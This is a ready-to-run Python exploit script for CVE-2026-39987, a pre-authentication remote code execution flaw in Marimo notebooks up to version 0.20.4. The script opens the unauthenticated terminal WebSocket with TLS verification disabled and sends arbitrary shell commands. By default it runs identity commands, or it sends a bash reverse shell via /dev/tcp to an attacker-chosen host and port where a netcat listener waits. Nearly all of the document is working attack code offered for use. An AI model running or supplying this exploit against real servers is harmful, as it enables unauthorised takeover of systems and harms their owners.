Title: Marimo 0.20.4 - RCE Date: August 2nd, 2026 Exploit Author: Jason Bernier Vendor Homepage: https://marimo.io/ Software Link: https://github.com/marimo-team/marimo Version: <=0.20.4 Tested on: Ubuntu 24.04 CVE: CVE-2026-39987 Advisory: https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc """ Exploit script for CVE-2026-39987, a pre-authentication Remote Code Execution (RCE) vulnerability in Marimo. The exploit leverages a WebSocket endpoint to execute arbitrary commands on the target system. Based on the advisory located at https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc This exploit will either execute a reverse shell or any command specified with the -c argument. https://github.com/jasonbernier/ """ import websocket import argparse import time import sys import urllib.parse import ssl import socket import threading import subprocess from typing import Optional # Global variables for reverse shell LHOST: Optional[str] = None LPORT: Optional[int] = None shell_socket: Optional[socket.socket] = None conn: Optional[socket.socket] = None def send_reverse_command(command: str) -> str: """Send command to target and receive output""" try: if not conn: print("[-] No active connection") return "" conn.sendall(command.encode() + b"\n") time.sleep(1) output = b"" while True: try: data = conn.recv(4096) if not data: break output += data except socket.timeout: break return output.decode('utf-8', errors='ignore') except Exception as e: print(f"[-] Error sending command: {str(e)}") return "" def exploit(target_url: str, command: str = None) -> None: """ Exploit CVE-2026-39987 to execute commands via WebSocket terminal. Args: target_url: Target URL (e.g., http://localhost:2718) command: Command to execute (default: id && whoami && hostname) """ # Normalize URL if not target_url.startswith(('http://', 'https://')): target_url = f"http://{target_url}" parsed = urllib.parse.urlparse(target_url) if parsed.scheme not in ['http', 'https']: print(f"[-] Invalid scheme: {parsed.scheme}") sys.exit(1) # Determine protocol based on port if parsed.port == 443 or parsed.scheme == 'https': ws_scheme = 'wss' else: ws_scheme = 'ws' # Build WebSocket URL ws_path = parsed.path.rstrip('/') if ws_path.endswith('/terminal/ws'): ws_path = ws_path.replace('/terminal/ws', '/terminal/ws') elif '/terminal/ws' not in ws_path: ws_path = f"{ws_path}/terminal/ws" ws_url = f"{ws_scheme}://{parsed.netloc}{ws_path}" try: print(f"[+] Connecting to {ws_url}...") # Disable SSL verification for self-signed certs ws = websocket.create_connection(ws_url, sslopt={"cert_reqs": ssl.CERT_NONE}) # Wait for initial output to drain try: while True: ws.settimeout(1) ws.recv() except: pass # Execute command if command: print(f"[+] Executing reverse shell!") ws.send(command + "\n") time.sleep(2) # Get output output = "" try: while True: ws.settimeout(1) chunk = ws.recv() output += chunk except: pass print(f"[+] Check your netcat listener on port {LPORT}!") ws.close() except Exception as e: print(f"[-] Error: {str(e)}") sys.exit(1) def main(): """Parse arguments and execute exploit.""" parser = argparse.ArgumentParser( description='CVE-2026-39987 Exploit for Marimo Pre-Auth RCE', ) parser.add_argument( '-u', '--url', required=True, help='Target URL (e.g., http://localhost:2718)' ) parser.add_argument( '-c', '--command', help=' Command to execute (default: id && whoami && hostname)' ) parser.add_argument( '--lhost', help='Local host for reverse shell (requires --lport)' ) parser.add_argument( '--lport', type=int, help='Local port for reverse shell (requires --lhost)' ) args = parser.parse_args() # Validate arguments if (args.lhost and not args.lport) or (args.lport and not args.lhost): print("[-] Both --lhost and --lport must be provided together") sys.exit(1) # Set up reverse shell if specified if args.lhost and args.lport: global LHOST, LPORT LHOST = args.lhost LPORT = args.lport # Generate reverse shell payload payload = ( f"bash -c 'bash -i >& /dev/tcp/{LHOST}/{LPORT} 0>&1 &' && id" ) # Send payload directly exploit(args.url, payload) else: # Default command if none specified default_cmd = "id && whoami && hostname" cmd = args.command or default_cmd exploit(args.url, cmd) if __name__ == "__main__": main()